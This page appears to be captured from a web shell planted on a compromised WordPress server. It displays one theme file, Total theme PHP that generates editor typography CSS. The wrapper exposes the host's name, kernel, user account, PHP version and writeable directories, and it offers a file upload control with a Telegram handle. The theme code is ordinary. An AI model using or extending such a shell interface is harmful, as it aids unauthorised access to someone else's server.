https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/plutus/public_html/wp-content/themes/vrm/inc/editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/plutus/public_html/wp-content/themes/vrm/inc/editor/editor-styles.php
<?php

namespace TotalTheme\Editor;

\defined( 'ABSPATH' ) || exit;

/**
 * Enqueues scripts and adds inline CSS for the WordPress editor.
 */
class Editor_Styles {

	/**
	 * Instance.
	 *
	 * @access private
	 * @var object Class object.
	 */
	private static $instance;

	/**
	 * Create or retrieve the instance of Editor_Styles.
	 */
	public static function instance() {
		if ( \is_null( self::$instance ) ) {
			self::$instance = new self();
			self::$instance->init_hooks();
		}

		return self::$instance;
	}

	/**
	 * Hook into actions and filters.
	 */
	public function init_hooks() {
		$this->classic_editor_hooks();
		$this->gutenberg_hooks();
	}

	/**
	 * Classic editor hooks.
	 */
	public function classic_editor_hooks() {
		\add_action( 'after_setup_theme', [ $this, 'classic_editor_style' ], 10 );
		\add_filter( 'tiny_mce_before_init', [ $this, 'classic_editor_content_style' ] );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_editor_fonts' ] );
	}

	/**
	 * Gutenberg editor hooks.
	 */
	public function gutenberg_hooks() {
		\add_action( 'enqueue_block_editor_assets',[ $this, 'block_editor_assets' ] );
	}

	/**
	 * Add styles for the classic.
	 */
	public function classic_editor_style() {
		\add_editor_style( 'assets/css/admin/classic-editor.css' );
		\add_editor_style( \wpex_asset_url( 'lib/ticons/css/ticons.min.css' ) );
	}

	/**
	 * Adds inline CSS for the editor to match Customizer settings.
	 */
	public function classic_editor_content_style( $settings ) {
		$content_style = ! empty( $settings['content_style'] ) ? $settings['content_style'] : '';
		$content_style .= $this->get_editor_css( 'classic' );
		$settings['content_style'] = $content_style;
        return $settings;
	}

	/**
	 * Enqueues fonts for the tiny mce editor.
	 */
	public function enqueue_editor_fonts( $hook ) {
		if ( $hook === 'post-new.php' || $hook === 'post.php' ) {
			$this->get_editor_css();
		}
	}

	/**
	 * Enqueue block editor assets.
	 */
	public function block_editor_assets() {
		\wp_enqueue_style(
			'totaltheme-gutenberg-editor',
			\get_theme_file_uri( '/assets/css/gutenberg/editor.css' ),
			[],
			\WPEX_THEME_VERSION,
			'all'
		);

		\wp_add_inline_style( 'totaltheme-gutenberg-editor', $this->get_editor_css( 'gutenberg' ) );
	}

	/**
	 * Generate inline CSS for the WP editor based on Customizer settings.
	 */
	public function get_editor_css( $editor_type = 'classic' ) {
		\ob_start();

		// Loop through typography settings that should apply in the editor.
		// @todo move to the Typography class instead.
		if ( \class_exists( '\TotalTheme\Typography', false ) ) {

			$typography_settings = [
				'body_typography' => '',
				'post_content_typography' => '',
				'entry_h2_typography' => [
					'h2',
					'h2.wp-block'
				],
				'entry_h3_typography' => [
					'h3',
					'h3.wp-block'
				],
				'entry_h4_typography' => [
					'h4',
					'h4.wp-block'
				],
			];

			foreach ( $typography_settings as $typography_setting => $target_el ) {

				$value = \get_theme_mod( $typography_setting );

				if ( ! empty( $value ) && \is_array( $value ) ) {

					foreach ( $value as $property => $value ) {

						if ( \is_array( $value ) ) {
							$value = \reset( $value );
						}

						switch ( $editor_type ) {
							case 'gutenberg':
								$target = '.editor-styles-wrapper > *';
								break;
							case 'classic':
							default:
								$target = 'body#tinymce.wp-editor';
								break;
						}

						if ( 'color' === $property && $this->is_white( $value ) ) {
							continue;
						}

						if ( $target_el ) {
							if ( \is_array( $target_el ) ) {
								$new_target = [];
								foreach ( $target_el as $k => $v ) {
									$new_target[] = $target . ' ' . $v;
								}
								$target = \implode( ',', $new_target );
							} else {
								$target = $target . ' ' . $target_el;
							}
						}

						echo \wpex_parse_css( $value, $property, $target );

						if ( 'font-family' === $property ) {
							if ( 'custom' === \wpex_get_font_type( $value ) ) {
								echo \wpex_render_custom_font_css( $value );
							} else {
								$font = \wpex_enqueue_font( $value );
								if ( 'classic' === $editor_type && $font ) {
									\add_editor_style( $font );
								}
							}
						}

					}

				}

			} // End foreach typography_settings.

			// @todo add some customizer styles CSS here - such as button styles.

			// Classic editor only styles.
			if ( 'classic' === $editor_type ) {
				if ( \get_theme_mod( 'enable_font_smoothing', false ) ) {
					echo 'body#tinymce.wp-editor{-webkit-font-smoothing: antialiased !important;}';
				}
			}

			// Link underline.
			if ( \get_theme_mod( 'link_underline' ) ) {
				echo 'body#tinymce.wp-editor{--wpex-link-text-decoration: underline;}';
			}

		}

		return \ob_get_clean();
	}

	/**
	 * Check if a value is the color white.
	 */
	public function is_white( $value = '' ) {
		if ( '#fff' === $value || '#ffffff' === $value || '#FFF' === $value || '#FFFFFF' === $value ) {
			return true;
		}
		return false;
	}
}

https://t.me/RX1948 - 2025